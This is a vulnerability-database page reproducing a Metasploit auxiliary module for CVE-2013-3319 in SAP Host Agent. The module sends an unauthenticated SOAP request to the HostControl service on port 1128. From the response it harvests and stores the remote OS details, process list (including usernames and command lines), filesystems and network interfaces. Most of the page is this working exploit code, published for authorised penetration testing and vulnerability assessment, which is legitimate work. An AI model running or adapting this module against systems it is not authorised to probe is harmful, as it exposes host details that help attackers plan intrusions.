Lucene search
K

SAP Host Agent Information Disclosure

🗓️ 22 Jul 2013 17:36:38Reported by Bruno Morisson <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 57 Views

SAP Host Agent Information Disclosure module attempts to retrieve Computer and OS info from Host Agent through the SAP HostControl service

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-3319
29 May 201815:50
circl
CVE
CVE-2013-3319
16 Aug 201317:00
cve
Cvelist
CVE-2013-3319
16 Aug 201317:00
cvelist
NVD
CVE-2013-3319
16 Aug 201317:55
nvd
Packet Storm
SAP Host Agent Information Disclosure
1 Sep 202400:00
packetstorm
Prion
Design/Logic Flaw
16 Aug 201317:55
prion
Tenable Nessus
SAP Host Agent SOAP Web Service Information Disclosure (SAP Note 1816536)
3 Feb 201400:00
nessus
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner


  def initialize
    super(
      'Name' => 'SAP Host Agent Information Disclosure',
      'Description' => %q{
        This module attempts to retrieve Computer and OS info from Host Agent
        through the SAP HostControl service.
        },
      'References' =>
        [
          # General
          ['CVE', '2013-3319'],
          ['OSVDB', '95616'],
          ['BID', '61402'],
          ['URL', 'https://launchpad.support.sap.com/#/notes/1816536'],
          ['URL', 'https://labs.integrity.pt/advisories/cve-2013-3319/']
        ],
      'Author' =>
        [
          'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
        ],
      'License' => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(1128)
      ])

    register_autofilter_ports([1128])


  end

  def initialize_tables

    @computer_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Remote Computer Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "Names",
          "Hostnames",
          "IPAddresses"
        ])

    @os_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Remote OS Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "Name",
          "Type",
          "Version",
          "TotalMemSize",
          "Load Avg 1m",
          "Load Avg 5m",
          "Load Avg 15m",
          "CPUs",
          "CPU User",
          "CPU Sys",
          "CPU Idle"
        ])
    @net_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Network Port Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "ID",
          "PacketsIn",
          "PacketsOut",
          "ErrorsIn",
          "ErrorsOut",
          "Collisions"
        ])

    @process_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Remote Process Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "Name",
          "PID",
          "Username",
          "Priority",
          "Size",
          "Pages",
          "CPU",
          "CPU Time",
          "Command"
        ])

    @fs_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Remote Filesystem Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "Name",
          "Size",
          "Available",
          "Remote"
        ])

    @net_table = Msf::Ui::Console::Table.new(
      Msf::Ui::Console::Table::Style::Default,
      'Header' => "Network Port Listing",
      'Prefix' => "\n",
      'Postfix' => "\n",
      'Indent' => 1,
      'Columns' =>
        [
          "ID",
          "PacketsIn",
          "PacketsOut",
          "ErrorsIn",
          "ErrorsOut",
          "Collisions"
        ])

  end

  # Parses an array of mProperties elements. For every mProperties element,
  # if there is an item with mValue ITSAMComputerSystem, then collect the
  # values for the items with mName in (Name, Hostnames, IPAdresses)
  def parse_computer_info(data)
    success = false
    data.each do |properties|
      name, hostnames, addresses = ""

      if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty?
        next
      end

      item_list = properties.get_elements("item")
      item_list.each do |item|
        item_name = item.get_elements("mName").first.text
        item_value = item.get_elements("mValue").first.text

        case item_name
        when "Name"
          name = item_value
        when "Hostnames"
          hostnames = item_value
        when "IPAdresses"
          addresses = item_value
        end
      end

      @computer_table << [name, hostnames, addresses]

      success = true
    end

    return success
  end

  # Get the mValues of every item
  def parse_values(data, ignore)
    values = []

    item_list = data.get_elements("item")
    item_list.each do |item|
      value_item = item.get_elements("mValue")

      if value_item.empty?
        value = ""
      else
        value = value_item.first.text
      end

      if value == ignore
        next
      end

      values << value
    end
    return values
  end

  # Parses an array of mProperties elements and get the interesting info
  # including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
  # ITSAMNetworkPort properties.
  def parse_detailed_info(data)
    data.each do |properties|
      if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty?
        values = parse_values(properties, "ITSAMOperatingSystem")
        parse_os_info(values)
      end

      if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty?
        values = parse_values(properties, "ITSAMOSProcess")
        parse_process_info(values)
      end

      if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty?
        values = parse_values(properties, "ITSAMFileSystem")
        parse_fs_info(values)
      end

      if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty?
        values = parse_values(properties, "ITSAMNetworkPort")
        parse_net_info(values)
      end
    end
  end

  def parse_os_info(os_info)
    @os_table << [
      os_info[0],      # OS name
      os_info[1],      # OS type
      os_info[2],      # OS Version
      os_info[7],      # Total Memory
      os_info[11],     # Load Average (1m)
      os_info[12],     # Load Average (5m)
      os_info[13],     # Load Average (15m)
      os_info[17],     # Number of CPUs / Cores
      os_info[18]+'%', # CPU usage (User)
      os_info[19]+'%', # CPU usage (system)
      os_info[20]+'%'  # CPU idle
    ]
  end

  def parse_process_info(process_info)
    @process_table << [
      process_info[0],     # Process name
      process_info[1],     # PID
      process_info[2],     # Username
      process_info[3],     # Priority
      process_info[4],     # Mem size
      process_info[5],     # pages
      process_info[6]+'%', # CPU usage
      process_info[7],     # CPU time
      process_info[8]      # Command
    ]
  end

  def parse_fs_info(fs_info)
    @fs_table << [
      fs_info[0],  # Filesystem Name
      fs_info[2],  # Size
      fs_info[3],  # Space Available
      fs_info[6]   # Is the filesystem remote ?
    ]
  end

  def parse_net_info(net_info)
    @net_table << [
      net_info[0], # Network Device ID
      net_info[1], # Packets In
      net_info[2], # Packets Out
      net_info[3], # Errors In
      net_info[4], # Errors Out
      net_info[5]  # Collisions
    ]
  end


  def run_host(rhost)

    vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")

    data = '<?xml version="1.0" encoding="utf-8"?>'
    data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
    data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
    data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
    data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
    data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
    data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
    data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"

    begin

      res = send_request_raw(
        {
          'uri' => "/",
          'method' => 'POST',
          'data' => data,
          'headers' => {
            'Content-Type' => 'text/xml; charset=UTF-8',
          }
        })

    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Unable to connect to service")
      return
    end

    if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
      faultcode = $1.strip
      vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
      return

    elsif res and res.code != 200
      vprint_error("#{rhost}:#{rport} - Error in response")
      return
    end

    initialize_tables()

    vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")

    begin
      response_xml = REXML::Document.new(res.body)
      computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
      detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
    rescue
      print_error("#{rhost}:#{rport} - Unable to parse XML response")
      return
    end

    success = parse_computer_info(computer_info)
    if success
      print_good("#{rhost}:#{rport} - Information retrieved successfully")
    else
      print_error("#{rhost}:#{rport} - Unable to parse reply")
      return
    end

    # assume that if we can parse the first part, it is a valid SAP XML response
    parse_detailed_info(detailed_info)

    sap_tables_clean = ''

    [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
      sap_tables_clean << t.to_s
    end

    vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)

    xml_raw = store_loot(
      "sap.getcomputersystem",
      "text/xml",
      rhost,
      res.body,
      "sap_getcomputersystem.xml",
      "SAP GetComputerSystem XML"
    )

    xml_parsed = store_loot(
      "sap.getcomputersystem",
      "text/plain",
      rhost,
      sap_tables_clean,
      "sap_getcomputersystem.txt",
      "SAP GetComputerSystem XML"
    )

    print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation